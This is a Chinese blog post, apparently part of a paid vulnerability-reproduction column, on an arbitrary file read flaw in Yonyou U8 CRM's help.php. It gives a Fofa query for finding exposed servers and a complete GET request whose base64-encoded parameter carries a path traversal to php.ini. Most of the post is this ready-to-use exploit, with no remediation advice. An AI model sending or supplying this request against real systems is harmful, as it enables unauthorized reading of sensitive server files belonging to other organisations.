用友crm客户关系管理系统任意文件读取

iSee857

已于 2024-08-27 17:21:23 修改

阅读量300

点赞数 3

分类专栏：漏洞复现文章标签： web安全

于 2024-08-23 14:08:59 首次发布

本文链接：https://blog.youkuaiyun.com/xc_214/article/details/141464065

版权

漏洞复现专栏收录该内容

351 篇文章 ¥19.90 ¥99.00

订阅专栏

超级会员免费看

0x01 漏洞描述：

用友U8CRM模块是一个综合性的客户关系管理系统，旨在帮助企业从客户出发，以客户关系为管理对象，通过动态管理客户信息、获得客户知识和评判客户价值状况，来全面提升并保持企业的竞争优势及盈利能力。/help.php中未对用户输入值做校验导致存在任意文件读取。

0x02 影响版本：

用友U8 CRM

0x03 搜索语句：

Fofa：body="用友 U8CRM"

0x04 漏洞复现：

GET /pub/help.php?key=YTozOntpOjA7czoyNDoiLy4uLy4uLy4uL2FwYWNoZS9waHAuaW5pIjtpOjE7czoxOiIxIjtpOjI7czoxOiIyIjt9 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

了解本专栏